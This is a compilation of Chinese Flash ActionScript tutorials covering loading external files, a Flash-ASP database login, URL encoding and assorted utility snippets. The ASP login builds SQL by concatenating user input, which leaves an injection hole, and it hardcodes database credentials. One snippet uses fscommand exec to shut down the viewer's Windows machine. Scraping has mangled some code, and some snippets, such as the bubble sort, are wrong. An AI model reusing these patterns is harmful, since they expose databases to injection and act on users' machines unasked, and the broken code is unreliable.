3.新建一层,在动态文本框的右侧用矩形工具画一个竖条,高度和动态文本一样;再制作一个向上的方向”箭头”按F8转为按扭元件;复制一个”箭头”按扭,垂直镜象,使这两个按扭和竖条的两端对齐.
4.调用按扭上的AS:
on(release){//松开鼠标后执行下面的代码;
loadVariables(“msg1.txt”,msg);//调用msg1.txt文本文件到动态文本框msg中;
System.useCodepage=true;//使外部文件的中文字符能够正确显示;
}
清除按扭上的AS:
on(release){
  _root.msg=”";//清除动态文本框中的内容;
}
向上的按扭上的AS:
on(press){//在按扭的感应区上每按一次鼠标执行下面的代码;
  _root.msg.scroll=_root.msg.scroll-1;//文本向下滚动一行;
}
向下的按扭上的AS:
on(press){//在按扭的感应区上每按一次鼠标执行下面的代码;
_root.msg.scroll=_root.msg.scroll+1;//文本向上滚动一行;
}
Ctrl+Enter测试.


当然代码也可以写在帧上:(调用按扭的实例名是bt1,清除按扭的实例名是bt2,向上按扭的实例名是:up,向下按扭上的实例名是down)
在第一帧上加如下代码:
_root.bt1.onRelease=function(){//松开鼠标后执行下面的代码;
loadVariables(“msg1.txt”,msg);//调用msg1.txt文本文件到动态文本框msg中;
System.useCodepage=true;//使外部文件的中文字符能够正确显示;
}
_root.bt2.onRelease=function(){//松开鼠标后执行
_root.msg=”";//清除动态文本框中的内容;
}
_root.up.onPress=function(){//在向上按扭上每按一次鼠标执行下面的代码;
_root.msg.scroll=_root.msg.scroll-1;//文本向下滚动一行;
}
_root.down.onPress=function(){//在向下按扭上每按一次鼠标执行下面的代码;
_root.msg.scroll=_root.msg.scroll+1;//文本向上滚动一行;
}
Ctrl+Enter测试.


二.调用外部*.swf文件(加载到影片剪辑中):
外部*.swf文件要和编辑的Flash文件放在同一目录下
1.新建立一个空的影片剪辑mymc,把它放在场景中,实例名是:mymc.
2.新建一层,制作两个按扭(一个调用,一个清除)拖放到此层中
3.调用按扭上的AS:
on(release){//鼠标离开按扭后执行下面的代码;
loadMovie(“flash8.swf”,”mymc”);//加载外部的”flash8.swf”文件到”mymc”空影片剪辑中;
mymc._x=70;//加载影片的X轴坐标;
mymc._y=20;//加载影片的Y轴坐标;
mymc._xscale=70;//加载影片的宽度;
mymc._yscale=70;//加载影片的高度;
}
清除按扭上的AS:
on(release){//鼠标离开按扭后执行下面的代码
unloadMovie(mymc);//删除用loadMovie加载的*.swf文件;
}
Ctrl+Enter测试

三.调用外部*.swf文件(加载到时间轴上):
外部*.swf文件要和编辑的Flash文件放在同一目录下
1.制作两个按扭(一个调用,一个清除)拖放到场景中
2.调用按扭上的AS:
on(release){//鼠标离开按扭后执行下面的代码
  loadMovie(“flash8.swf”,1);//加载外部的”flash8.swf”文件到场景中,层深为1;
}
清除按扭上的AS:
on(release){//鼠标离开按扭后执行下面的代码
  unloadMovie(1);//删除层深为1的用loadMovie所加载的”flash8.swf”文件
}
Ctrl+Enter测试。
当然二和三的代码都可以写在帧上。

四.调用外部图片(加载到影片剪辑中)
外部图片必须和正在编辑的Flash文件放在同一目录下
1.制作两个按扭(一个调用,一个清除)拖放到场景中
2.制作一个空的影片剪辑,拖到场景中,实例名是:mymc;
3.时间轴上第一帧上的AS:
i=0;//定义一个变量i,并且赋初值为0;
调用按扭上的AS:
on(release){//鼠标离开按扭后执行下面的代码;
  i++;
  if(i>9){//因为外面这有9张图,当变量大于9的时候,让变量为1,这样能够使加载的图片是连续的,即,每点一次按扭,就换一张图,等到换到第9张图,再点按扭,则循环到第一张图(j1.jpg到j9.jpg,因为没有j0.jpg,如果i=0,则会提示没有找到j0.jpg);
  i=1;
}
loadMovie((“j”+i)+”.jgp”,mymc);//从j1.jpg开始加载图片到影片剪辑mymc中;
mymc._x=110;//以下设置加载图片的属性
mymc._y=35;
mymc._xscale=130;
mymc._yscale=130;
}
清除按扭上的AS:
on(release){
unloadMovie(mymc);//删除掉用loadMovie加载到影片剪辑的图片;
}
Ctrl+Enter测试。
当然AS可以写在帧上。

五.调用外部声音文件(加载到场景中)
外部声音文件必须和正在编辑的Flash文件放在同一目录下
1.制作两个按扭(一个调用,一个清除)拖放到场景中
2.调用按扭上的AS:
on(release){//鼠标离开按扭后执行下面的代码;
mySound=new Sound();//建立一个新的声音对象mySound;
mySound.loadSound(“zaihuni.mp3″,true);//加载外部的*.mp3声音文件到mySound对象中,并且按流的方式播放(参数为false时,是以装载完后播放);
}
清除按扭上的AS:
on(release){
    mySound.stop();//当按下清除按扭后,停止声音的播放
}
Ctrl+Enter测试。

加载外部图片
如果你的动画中有很多的图片.如果都放到一个SWF文件.可能打开或是下载会很慢.这样就影响了观看效果及速度,那么你可以利用载入外部图片的方法,只要把图片按名称放到你网上的一个目录里(和你的SWF文件同一个目录),那么就可以解决这个问题


前十祯你做一个载入LOADING.从第十一祯开始

新建一个图层.起名为AS层

在AS图层的第十一祯加入一个关键祯,然后打开动作面板,加入以下AS

i = 0;//初始化变量
loadMovie (“p040.jpg”, “pic”);//在播放原始 SWF 文件的同时将p040.jpg 文件
//加载到 Flash Player 中的叫PIC的这个影片剪辑中。


上面的语句是实现了加载一张.我们要它加载多张.所以要用到IF语句.在AS层的第六十祯处加入一个关键祯,打开动作面板,加入AS语句:

i++;//变量i递增
  if (i >= 21) {//当变量i递增到>=21时.这里的21是因为我准备了二十一张要加载的图.如果你加载十张.那就把这里的21改为10就可以了
    i = 0;//则变量为0,即重新加载
  }
  loadMovie ((“p04″ + i) + “.jpg”, “pic”);//如果不是.则继续加载.这里的p04+i就等p04i.也就是说i是几.这里就是p04*,比如i为12,则p04+i就等于p0412
  gotoAndPlay (12);//跳转到第十二祯


所以.在这里给图片起文件名时.就要按照这个原则来起的.准备好的图片要和你的主调用SWF文件入在同一个目录下,或者你也可以加载时用绝对路径,那就要改成”
http://www.XXXXX.cn/p04“‘ target=”_blank” >http://www.XXXXX.cn/p04“;+i+”.jpg”

图片的大小最好是事先调整好的.在你做好的PIC这个加载用的MC里.它的位置是放在XY坐标为0的位置,加载进来图是以这个MC左上角为准的,也就是说加载进来图的左上角与加载用的MC的左上角是重合的
————–
loadMovie(“图片名”,newname);
以上语法以下用法
on(release){
  loadMovie(“pic.jpg”, “mc”);
mc._x=50;
mc._y=50
mc._xscale=40;
mc._yscale=40
}



——————————————————————————–

加载外部文本文件的3种方法


不管那样方法,文本文件要和主文件在同一目录下,再就是在这儿的文本文件名为 b.txt

*第一种方法txt=

1、创建一个文本框,给此文本框一个变量名txt;
2、文本格式为:动态;
3、选:多行输入
4、在第一帧上增加脚本语言。(按F9)
loadVariablesNum(“b.txt”,0);//b.txt是文件名,0是场景中的根目录
然后打开poems.txt文件,在记事本里输入:txt=
注意:在加载之前对文本文件进行转换,另存为Unicode编码格式。

*第二种方法 在主文件帧上输入防乱码的AS
按钮实现引用外部文本文件的效果:
第一步:主场第一帧AS:
System.useCodePage = true;//防止乱码

第二步:在按钮上写AS:
on (release) {
_root.loadVariables(“b.txt”);//b.txt文本名
}


**第三种方法 使用构造器,将文本拆分为若干字符串来显示.从根本上防止乱码.
,也就是说直接在 txt 里面写东西就行了。代码如下:

lala = new LoadVars();//构造函数;创建 LoadVars 对象。然后可使用该 LoadVars 对象的方法来发送和加载数据
lala.onData = function(rw) {//当lala被实例化并显示在时间轴上时将触发
a_txt.text = replacePunc(rw);//
};

function replacePunc(str) {//执行将文本拆分为多个字符串
var tempArray = str.split(“\r\n”);//拆分为多个子字符串
var tempstr = new String();
for (var i = 0; i<tempArray.length; i++) {
tempstr += tempArray
+newline;
}
return tempstr;
}

System.useCodepage = true;//通知 Flash Player使用 传统代码页来解释外部文本
lala.load(“b.txt”);


一、Flash与Asp之间的交互

  Flash与Asp的通讯是用Http协议,其请求格式为
http://ip地址?参数1=值1&参数2=值2

  即是在目的地址后面加上问号,再跟上参数字符串,参数之间用“&”号格开。如:
http://www.pcedu.com.cn/test.asp?userid=guest&pwd=123

  在上面的请求中,请求的目的文件为:http://www.pcedu.com.cn/test.asp,第一个参数名为userid,值为guest,第二个参数名为pwd,值为123。

  Flash与Asp之间的交互无非就是构造上面的请求字符串。

  1、在Flash中,先构造好请求的字符串,然后利用函数LoadVariables(),就可以向服务器端发送请求和参数。我们来详细看看LoadVariables()这个函数。

  函数的标准格式为loadVariables (“url” ,level/”target” [, variables])

  在函数的各个参数中,url就是上面说的请求字符串。level/“target”是返回值的“层次”或者“目标”,这两个当中只能指定一个。variables是请求的方式,其值可以是“Get”或者是“Post”,一般Get用于参数值比较短的传送,Post用于参数值比较长的传送,这个参数是可选的。比如loadVariables (“
http://www.pcedu.com.cn/guest.asp?userid=guest&pwd=123” ,0, “GET”)就是一个完整的请求。

  2、在Asp中,先要取得从Flash端传送过来的参数,这跟操作普通的HTML表单是一样的。都是利用Request对象,其语句为:

username = Request(“userid”)
password = Request(“pwd”)

  userid和pwd就是从Flash端发送过来的参数名,如果是上一步中的请求字符串,username的值为guest,pwd的值为123。
3、在服务器端处理完请求,获得所需要的值后,Asp向Flash端发送结果,跟从Asp中操作Html语言一样,都是用Response对象,其语句为:

Response.Write(“login=true&des=success”)

其返回值1的名为login,值为true,返回值2的名为des,值为success。

  4、在Flash端取得从服务器端返回的值,与操作Flash中普通的变量没什么不同。如:
_root.gotoAndPlay(eval(login))表示的是跳转到login的值的那一帧。但要注意的是在发送请求一段时间之后,才能用返回值,不然取得的是尚未返回的值,错误就在所难免了,而且这一类的错误很难发现,用的时候要多加小心。

  二、Asp与数据库之间的交互

  在Asp与数据库的交互一般是用ADO控件。其读取数据库的语句为:

‘定义一个Connection对象
set conn=Server.CreateObject(“ADODB.Connection”)
‘用Connection对象打开数据库,这里打开的是sql server,数据库的地址为192.168.1.32
‘数据库的用户名为zengyu,密码为123
conn.open application(“Driver={SQL Server};SERVER=192.168.1.32;DATABASE=test;UID=zengyu;PASSWORD=123″)
‘创建一个Recordset对象
set rstemp=Server.CreateObject(“ADODB.Recordset”)
‘构造一个sql语句
sqltemp1=”select * from UserInfo where userid=’”&strname&”‘ and password=’”&strpassword&”‘”
‘查询数据库
rstemp.open sqltemp1,conn, 1, 1
if not(rstemp.bof and rstemp.eof) then
Response.Write (“login=true”)
end if

  这里实现的只是简单地查询数据库,要想了解Asp操作数据库更详细的东西,可以找Asp与数据库方面的资料深入学习一下。

  三、例子――登陆的实现

  下面我们来制作一个简单的实例,在Flash端输入用户名和密码,通过Asp查询数据库,如果用户名和密码正确,就跳转到登陆成功界面,否则就跳转到登陆失败界面。

  1、新建一个Flash,在场景中制作两个文本框和一个Button,如图2所示。其中用户名对应的文本框属性如图3所示,密码对应的文本框属性如图4所示。注意其中的文本类型和变量名。
2、创建另外两个关键帧,分别命名为“true”和“false”,并分别显示“登陆成功”和“登陆失败”字样。

  3、在Button的ActionScript中增加下面的语句,注意更改其中的ip地址。

on (release) {
loadVariables(“
http://192.168.1.32/guest.asp?userid=” add eval(_root.userid) add “&pwd=” add eval(_root.pwd),this, “GET”);
now = new Date();
begintime = now.getSeconds();
while(true) {
endt = new Date();
endtime = endt.getSeconds();
if (endt – now > 2)
{
_root.gotoAndPlay(eval(login));
}
}
}

  4、在Sql Server数据库(数据库的类型不重要,改一改连接串就可以的)中,建立一张名为“userinfo”的表,其中有“Userid”和“Password”两个字段。

  5、建立一个guest.asp文件,文件内容为

<%
username = Request(“userid”)
password = Request(“pwd”)
set conn=Server.CreateObject(“ADODB.Connection”)
conn.open application(“Driver={SQL Server};SERVER=192.168.1.32;DATABASE=test;UID=zengyu;PASSWORD=123″)
set rstemp=Server.CreateObject(“ADODB.Recordset”)
sqltemp1=”select * from UserInfo where userid=’”&username&”‘ and password=’”&strpassword&”‘”
rstemp.open sqltemp1,conn, 1, 1
if not(rstemp.bof and rstemp.eof) then
Response.Write (“login=true”)
Else
Response.Write (“login=false”)
end if
%>

  6、将Flash文件和Asp文件部署到IIS服务器中,然后打开Flash文件,输入登陆信息就可以看到实例的效果了。

URL编码:怎样读取特殊字符 (这个我曾经谢过教程,这里整理过来)
从外部文本载入到动态文本的时候,一些特殊字符(如&/%等)无法正常现实,有的符号还会导致这个符号后面的字符无法现实(如&),这时候我们就要将这些特殊字符进行URL编码,以下是各个特殊字符的URL对应编号:
backspace %08
tab %09
linefeed %0A
creturn %0D
space %20
! %21
” %22
# %23
$ %24
% %25
& %26
‘ %27
( %28
) %29
* %2A
+ %2B
, %2C
- %2D
. %2E
/ %2F
0 %30
1 %31
2 %32
3 %33
4 %34
5 %35
6 %36
7 %37
8 %38
9 %39
: %3A
; %3B
< %3C
= %3D
> %3E
? %3F
@ %40
A %41
B %42
C %43
D %44
E %45
F %46
G %47
H %48
I %49
J %4A
K %4B
L %4C
M %4D
N %4E
O %4F
P %50
Q %51
R %52
S %53
T %54
U %55
V %56
W %57
X %58
Y %59
Z %5A
[ %5B
\ %5C
] %5D
^ %5E
_ %5F
` %60
a %61
b %62
c %63
d %64
e %65
f %66
g %67
h %68
i %69
j %6A
k %6B
l %6C
m %6D
n %6E
o %6F
p %70
q %71
r %72
s %73
t %74
u %75
v %76
w %77
x %78
y %79
z %7A
{ %7B
| %7C
} %7D
~ %7E
¢ %A2
£ %A3
¥ %A5
| %A6
§ %A7
« %AB
¬ %AC
¯ %AD
º %B0
± %B1
ª %B2
, %B4
µ %B5
» %BB
¼ %BC
½ %BD
¿ %BF
À %C0
Á %C1
 %C2
à %C3
Ä %C4
Å %C5
Æ %C6
Ç %C7
È %C8
É %C9
Ê %CA
Ë %CB
Ì %CC
Í %CD
Î %CE
Ï %CF
Ð %D0
Ñ %D1
Ò %D2
Ó %D3
Ô %D4
Õ %D5
Ö %D6
Ø %D8
Ù %D9
Ú %DA
Û %DB
Ü %DC
Ý %DD
Þ %DE
ß %DF
à %E0
á %E1
â %E2
ã %E3
ä %E4
å %E5
æ %E6
ç %E7
è %E8
é %E9
ê %EA
ë %EB
ì %EC
í %ED
î %EE
ï %EF
ð %F0
ñ %F1
ò %F2
ó %F3
ô %F4
õ %F5
ö %F6
÷ %F7
ø %F8
ù %F9
ú %FA
û %FB
ü %FC
ý %FD
þ %FE
ÿ %FF

AS创建文本框
_root.createTextField(“mytext”, 1, 50, 50, 100,20);
mytext.multilance=false;//设置单行;
mytext.text=”这是文本框”//文本赋值
然后是删除这个创建的文本框:
mytext.removeTextField();//删除!


如果大家要创建一个换行的文本框,就需要加上:
mytext.wordWrap =true //指示文本字段自动换行
mytext.autoSize=true //指定文本字段的自动对齐和大小调整



TextField 类的方法摘要

TextField.addListener() 注册一个对象,以便在调用 onChanged 和 onScroller 事件处理函数时接收通知。

TextField.getFontList() 返回播放器的主机系统上字体名称的数组。

TextField.getDepth() 返回文本字段的深度。

TextField.getNewTextFormat() 获取分配给新插入文本的默认文本格式。

TextField.getTextFormat() 返回包含文本字段中一些或全部文本的格式信息的 TextFormat
对象。

TextField.removeListener() 删除侦听器对象。

TextField.removeTextField() 删除使用 MovieClip.createTextField() 创建的文本字段。

TextField.replaceSel() 替换当前的所选内容。

TextField.setNewTextFormat() 为由用户或方法插入的文本设置 TextFormat 对象。

TextField.setTextFormat() 为文本字段中指定范围内的文本设置一个 TextFormat 对象。


TextField 类的属性摘要

TextField._alpha 文本字段实例的透明度值。

TextField.autoSize 控制文本字段的自动对齐和大小调整。

TextField.background 指示文本字段是否具有背景填充。

TextField.backgroundColor 指示背景填充的颜色。

TextField.border 指示文本字段是否具有边框。

TextField.borderColor 指示边框的颜色。

TextField.bottomScroll 文本字段中最下面的可见行。只读。

TextField.embedFonts 指示文本字段是使用嵌入字体轮廓还是使用设备字体。

TextField._height 文本字段实例的高度,以像素为单位。它只影响文本字段的边框,不影响边框的粗细和文本字体大小。

TextField._highquality 指示 SWF 文件的呈现品质。

TextField.hscroll 指示文本字段的水平滚动值。

TextField.html 指示文本字段的当前最大滚动位置。

TextField.htmlText 包含文本字段内容的 HTML 表示形式。

TextField.length 文本字段中的字符数。只读。

TextField.maxChars 文本字段最多可容纳的字符数。

TextField.maxhscroll TextField.hscroll 的最大值。只读。

TextField.maxscroll TextField.scroll 的最大值。只读。

TextField.menu 将 ContextMenu 对象与文本字段关联。

TextField.mouseWheelEnabled 指示当鼠标指针停在文本字段上且用户滚动鼠标滚轮时,Flash Player 是否应自动滚动多行文本字段。

TextField.multiline 指示文本字段是否包含多行。

TextField._name 文本字段实例的实例名称。

TextField._parent 对此实例的父级实例的引用;其类型为 Button 或 MovieClip。

TextField.password 指示文本字段是否隐藏输入字符。

TextField._quality 指示 SWF 文件的呈现品质。

TextField.restrict 用户可输入文本字段的字符集。

TextField._rotation 文本字段实例的旋转度数。

TextField.scroll 指示文本字段的当前滚动位置。

TextField.selectable 指示文本字段是否可选。

TextField._soundbuftime 在声音进入流之前,必须预先缓冲的声音的时间量。

TextField.tabEnabled 指示影片剪辑是否包括在 Tab 键的自动排序中。

TextField.tabIndex 指示对象的 Tab 键顺序。

TextField._target 指定文本字段实例的目标路径。只读。

TextField.text 文本字段中的当前文本。

TextField.textColor 文本字段中当前文本的颜色。

TextField.textHeight 文本字段边框的高度。

TextField.textWidth 文本字段边框的宽度。

TextField.type 指示文本字段是输入文本字段还是动态文本字段。

TextField._url 创建文本字段实例的 SWF 文件的 URL。只读。

TextField.variable 与文本字段关联的变量名。

TextField._visible 确定文本字段实例是隐藏还是可见的布尔值。

TextField._width 文本字段实例的宽度,以像素为单位。它只影响文本字段的边框,不影响边框的粗细和文本字体大小。

TextField.wordWrap 指示文本字段是否自动换行。

TextField._x 文本字段实例的 x 坐标

TextField._xmouse 指针相对于文本字段实例的 x 坐标。只读。

TextField._xscale 指定水平缩放文本字段实例的百分比的值。

TextField._y 文本字段实例的 y 坐标。

TextField._ymouse 指针相对于文本字段实例的 y 坐标。只读。

TextField._yscale 指定垂直缩放文本字段实例的百分比的值。

TextField 类的事件处理函数摘要
事件处理函数

TextField.onChanged
在文本字段更改时调用。

TextField.onKillFocus
在文本字段失去焦点时调用。

TextField.onScroller
在文本字段滚动属性之一发生更改时调用。

TextField.onSetFocus
在文本字段接收焦点时调用。

TextField 类的侦听器摘要

TextField.onChanged
在文本字段更改时获得通知。

TextField.onScroller
在文本字段的 scroll 或 maxscroll 属性更改时获得通知。
attachSound的部分常用语句
aa=new Sound();//创建一个新音乐
aa.attachSound(“jgw”);//将库中标识符为jgw的音乐导出播放(标识符在库中链接菜单中命名)
aa.start(0,10000);//音乐播放秒偏移量为0,播放10000次
aa.stop();//停止播放aa这个声音

如果你不想看到Flash的About和设置菜单,把下面的代码放到第一帧就行了:
_root.createTextField(“danger”, 999, 0, 0, Stage.width, Stage.height);
好了,现在换了一个新菜单.
注:这个适合用在没有交互的动画上,如果你需要使用按钮就去掉.
(这个好像是转载自Dengjie的Blog)

限制flash只能在服务器上观看
在第一帧中加入如下代码:
fscommand (“allowscale”, “0″);
url = “
http://goday.gtma.cn“;;//’” target=”_blank” >http://goday.gtma.cn“; //这个换成你的域名
if (_url.substring(0, 20)<>url) { //那个0(h),20(n)就是指从第一个字符开始向后数到第20个字符(包括“://”和“.”符号),这个请自行根据上面的url=后面的
http://goday.gtma.cn来更改
gotoAndPlay (2);
} else {
gotoAndPlay (3);
}
第二帧加入:
stop ();
第三帧加入:
stop ();
然后把正式内容放在第三帧就好了,第二帧放入出错内容
当然有人说用播放就可以跳过,这里是给出一个思路,你可以用loadmove等等等等等等等等的方法来加载于否正式影片

用ShareObject在本地保存数据(下面帖子有篇文章将较详细讲解)
例(本地保存数据,要想远程保存数据,也可以,跟下边的例子差不多,只不过要安装 flashcom 需要$ 蛮贵的)
function test(){
this.userinfo_so=SharedObject.getLocal(“test/userinfo”,”/”);
if(this.userinfo_so.data.info == null){
  this.userinfo_so.data.info=new Object();
  this.userinfo_so.data.info.username=new Array();
  this.userinfo_so.data.info.email=new Array();
}
this.setUserinfo=setUserinfo;
this.getUserinfo=getUserinfo;
this.delUserinfo=delUserinfo;
}
function setUserinfo (username,email)
{
with(this.userinfo_so.data){
  uLength=info.username.length;
  eLength=info.email.length;
  info.username[uLength]=username;
  info.email[eLength]=email;
}
var status=this.userinfo_so.flush();
}
function delUserinfo(){
this.userinfo_so.data.info=null;
this.userinfo_so.flush();
}
function getUserinfo (){
for(var i=0;i<this.userinfo_so.data.info.username.length;i++){
  trace(i+”:”+this.userinfo_so.data.info.username
);
}
}
var gg_so=new test();
gg_so.setUserinfo(“glghcool”,”
glghcool@etang.com“);
gg_so.getUserinfo();

外部载入文本
动态文本框必须放在MC里面
system.useCodepage = true;
loadVariables (“1.txt”,mc)
文本里的最前面是:动态文本框的变量名=你的内容易

判断用户名和密码是否正确,以及根据不同用户名进入不同帧数
用户名的文本框为myname,密码框为mypass
on (release) {
if (myname == “用户名1″ && mypass == “密码1″) {
gotoAndPlay (85);
} else if (myname == “用户名2″ && mypass != “密码2″) {
gotoAndPlay (82);
} else if (myname != “用户名3″ && mypass == “密码3″) {
gotoAndPlay (83);
} else if (myname != “用户名4″ && mypass != “密码4″) {
gotoAndPlay (84);
}
}

FLASH无手指按钮的制作
只需要在第一帧加上:
buttonname.useHandCursor=0
buttonname是你按钮的实例名(不是库里面的名字,属性面板里面的实例名)

FLASH实现设为首页、加入收藏、打开一个制定的新窗口
设为首页:
on (release) {
getURL(“javascript :void(document.links[0].style.behavior=’url(#default#homepage)’);void document.links[0].setHomePage(‘
http://www.flashempire.com/&;#39;);”, “_self”, “POST”);
}

加入收藏夹:
on (release) {
getURL(“javascript :void window.external.AddFavorite(‘
http://www.flash8.net&;#39;,’闪吧’);”, “_self”, “POST”);
}

在Flash中打开一个定制的浏览器新窗口
Get URL (“java script:window.open(“new.htm”,”newwin”,”width=320,height=320″);”)

Loading制作资料(Loading的制作都是使用这些AS,那些样子不同的Loading只是表现手法不一样,AS都是大同小异的,自己看看就明白了)
建一个MC.做一个载入条动画为100祯.拖入主场景中命名实例名为Bar,在载入条下面用文字工具拖一个动态文本框,在右下角加入变量名Percent

第一祯加入祯标签loop,并打开动作面板,输入下面代码:

bt=int((_root.getBytesTotal())/1000);
l=int((_root.getBytesLoaded())/1000);
p=int((l/bt)*100);
Percent=p+”%”;//Percent为动态文本变量名.即显示百分比
_root.Bar.gotoAndStop(p);//Bar为载入条的实例名

在第二祯加入

if(p==100){
  stopAllSounds();
  gotoAndPlay(“main”);
}else{
    gotoAndPlay(“loop”);
}

动画开始的那一祯加上祯标签main或者这里可以改为跳到下一个场景名或某一祯也可以
loading 制作中的主要AS:
x=Math.floor((_framesloaded/_totalframes)*100);//_framesloaded 表示已下栽的帧数_totalframes 总的帧数
setProperty(“_root.load”,_xscale,x);//   _xscale横向缩放百分比的值
jindu=”影片已下载”+_root.x+”%\n   请耐心等待”;
 
第二帧:
输入如下AS:if(x<100){
gotoAndPlay(1);
}else{ jindu=”   下载完毕!”;
}

用鼠标画线
onMouseDown=function () {
lineStyle(2,0*000000,100)
lineTo(_xmouse,_ymouse)
}


onMouseMove = function() {
if (a) {
lineStyle(2,0×000000,100);//指定线条的粗度为2,颜色为黑色,透明度为100;
lineTo(_xmouse, _ymouse); //画线至鼠标所在位置;
}
updateAfterEvent(); //强制刷新;Flash 强制进行显示刷新工作。该语句不依赖于时间帧的触发。
};
onMouseDown = function() {
a = true; //鼠标按下,给a变量赋值true,即执行上面的if后面括号内的语句,开始画线;
moveTo(_xmouse, _ymouse);//重新定位开始点;
};
onMouseUp = function() {
a = false;   //鼠标松开,给a变量赋值false,不执行上面的if后面括号内的语句,停止画线;
};

几个需要掌握的AS
1、var a = Math.abs(-7); // 求绝对值(这里是求-7的)

2、function myFunction(myNum) {
  var newNum = myNum+5;
  return newNum;
  }
  trace(myFunction(8));
//定义 调用并输出函数值

3、多数情况下,需要用到鼠标光标在主场景中的位置,所以可以使用_root._xmouse和_root._ymouse表示。
    onClipEvent (enterFrame) {
      _x = _root._xmouse;
      _y = _root._ymouse;
      }//让影片剪辑和鼠标保持相同坐标

4、将矩形影片剪辑作为遮罩图形
  在矩形影片剪辑的动作面板中添加如下ActionScript:
        onClipEvent (load) {
        xs = _width;
        ys = _height;
        }
        onClipEvent (enterFrame) {
        _xscale = 100*(_root._xmouse-_x)/(xs/2);
        _yscale = 100*(_root._ymouse-_y)/(ys/2);
        }
      在load事件中,用变量xs和ys取得影片剪辑初始状态下的宽度和高度值。在enterFrame事件中,计算鼠标位置与矩形影片剪辑中心     的距离,算出它与矩形宽度和高度值的比值,然后作为_xscale和_yscale的值。该动画实现移动鼠标位置以改变遮罩效果

5、Array对象(动作面板的“对象”/“核心”目录)即数组,它用来记录成组的相关或相似变量。创建一个空的数组:
      myArray = new Array();
      如下所示的ActionScript创建一个确定值的数组并在输出窗口中显示每个元素的值:
      weekDay = new Array(“SUN”, “MON”, “TUE”, “WED”, “TUR”, “FRI”, “SAT”);
        for (var i = 0; i<7; i++) {
        trace(weekDay
);
        }

数组中还可以嵌套数组,即构成多维数组,如下所示:
            polyArray = new Array();
              for (var i = 0; i<3; i++) {
            polyArray
= new Array(i*3+1, i*3+2, i*3+3, i*3+4);
            trace(polyArray
[0]+” “+polyArray[1]+” “+polyArray[2]+” “+polyArray[3]);
            }
        输出窗口中将显示:
        1 2 3 4
        4 5 6 7
        7 8 9 10

判断本机Flash播放器版本并进行下载
ss=System.capabilities.version;
if(substring(ss,5,1)<>”7″){getURL(“
http://www.macromedia.com/cn“;,_blank);}//’” target=”_blank” >http://www.macromedia.com/cn“,_blank);}//那个7就是版本号

用奇偶判断来做一个按钮的声音开关
第一帧加入(第一帧空帧):
t=0 //给t赋初值

第二帧加入:
stop(); //停止在第二帧
ms=new Sound //新建一个声音对象ms
ms.attachSound(“sound”) //空声音对象从库中调用连接名为sound的声音
ms.start() //ms开始播放
ms.onSoundComplete=function () { //当ms这个声音播放完后执行以下AS
ms.start //重复播放ms
}

第二帧上面的控制按钮加入
on (release) { //当鼠标松开的时候执行下面AS
t=t+1 //t的值等于本身的值加1
if (t%2==1) { //如果T取摸2等于1
ms.stop() //则ms停止播放
b=ms.position/1000 //b的值等于现在ms声音停止的位置
} else { //否则
ms.start(b) //ms从刚刚停止的地方(b)开始播放
}
}

实现倒放(可以自行联想作出许多不间断缩放效果,如动态按钮等,曾经我写过一篇这样的教程):
给放在场景中比如有40桢的MC添加如下语句

onClipEvnt(load){
  gotoAndStop(40);//影片载入时就跳转到40桢并停止
}

onClipEvent(enterFrame){
  prevFrame();//不断的播放前一桢,
}

一些简单的AS和一些程序思路,掌握最好:
***************************************************************************************
1.复制MC并随机设定子MC的相关属性:
duplicateMovieClip(“mc”,”mc”+i,10+i);
setProperty(“mc”+i,_x,random(400) );//x坐标
setProperty(“mc”+i,_y,random(300) );//y坐标
setProperty(“mc”+i,_alpha,random(100) );//透明度属性
i++;
if(i>200){//设定复制的个数;
i=1;
}
*****************************************************************************************
2.文字的逐个出现(打字效果)
Frame1:   text=”引号内是要出现的字”;
          ll = text.length;// 表示text文本的字符数;
          i = 1;//用于控制输出的变量;

Frame4:  
          if (i<ll+1) {
    text1 = text.substring(0,i);//从第0个字符开始抽取显示,抽取长度为i;
                i++;
                }
Frame5:
gotoAndPlay(4);
*****************************************************************************************
3.冒泡法排序:
    for(i;i<n;i++){ //外层循环;
      for(j=n;j<=i+1;j–){//内层循环;
        if(a[j]<a[j-1]){
            temp=a[j];
            a[j]=a[j-1];
            a[j-1]=temp;//交换位置;
            }
*****************************************************************************************
4.插入法排序(算法复杂性比冒泡法要小):
            for(i=2;i<=n;i++){
                  j=i;
                  if(a[j]<a[j-1]){
                      temp=a[j];
                      a[j]=a[j-1];
                      a[j-1]=temp;
                      j–; }
                    }*****************************************************************************************
5.一个按钮控制声音的播放与停止:
              on(release)
                {a=a+1;
                    if(a%2==1){//奇偶判断;
          mysound.stop();
        _root.b=int(ji.position/1000);//记录下停止时播放的位置;
  }
  else{ mysound.start(_root.b);//从上一次停止的位置开始继续播放;
    }
}    
*****************************************************************************************
6.MC以恒定速度旋转

    onClipEvent (enterFrame) {
          _rotation +=6;//设定每次的旋转角度值;
          }
*****************************************************************************************

和WEB结合设计中用层来遮住FLASH
1.在flash的parameters里加入 <param name=”wmode” value=”transparent”>
2.<body onblur=self.focus()>

遮住场景以外的部分
Stage.scaleMode = “exactFit”;





——————————————————————————–

ding8285斑竹13楼加入,感激中!希望大家都来补足!
判断输入是否为数字的函数:

                 
on(release){
if(Number(pass)==NaN){//判断输入是否为数字
pass=”";
}

         

检查E-MAIL的函数:

function checkemail(email) {
var str = new String(email);
var arr_email = str.split(“@”);
if ((arr_email.length != 2) || (arr_email[1].indexOf(“.”)<1)) {
return (false);
} else {
return (true);
}
}
             

延时函数:

function showTime(second, option) {
//延时函数
this.createEmptyMovieClip(“t_mc”, 9999);
t = getTimer();
f = false;
if ((getTimer()-t)>(second*1000)) {
option();
}
}
function go() {
//加入效果
jpg2._y = jpg2._y+77;
jpg2._alpha = jpg2._alpha-15;
}
fscommand(“fullscreen”, “true”);
createEmptyMovieClip(“jpg1″, 1);
createEmptyMovieClip(“jpg2″, 2);
jpg1.loadMovie(“1.jpg”);
jpg2.loadMovie(“2.jpg”);
i = 0;
while (i<=100) {
showTime(0.1, go);
i = i+20;
}
             
                           

FLASH中的保留小数的函

int(你的数*10)/10;
这样是保留一位
乘上100就是两位。以此类推

           

FLASH脚本实现关机

flash5:
fscommand (“exec”,”rundll”+chr(9)+”user.exe,exitwindows”);
           
           
           
         

鼠标双击问题!

lsn_DbClick = new Object();
lsn_key = new Object();
lsn_DbClick.onMouseDown = function() {
clickTime = getTimer();
if (clickTime-lastClickTime<=300) {
trace(“双击了鼠标”);
}
lastClickTime = clickTime;
};
Mouse.addListener(lsn_DbClick);
time = getTimer()-down_time;
if (time<300) {
//双击后的代码部分
}
down_time = getTimer();
怎样在从另一个swf中获取变量
         
